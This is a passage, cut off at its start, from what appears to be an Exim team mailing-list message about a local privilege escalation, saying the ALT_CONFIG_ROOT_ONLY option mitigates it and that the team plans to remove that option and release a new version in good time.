ALT_CONFIG_ROOT_ONLY option to avoid the local privilege escalation, the
Exim team has decided that there is no immediate need to rush a new
release of Exim out the door.

We plan to remove the ALT_CONFIG_ROOT_ONLY option (making the code
always behave as it currently does if that option is set), and then take
steps to restore the esoteric functionality that is lost by doing so,
and release a new version of Exim in good time.


--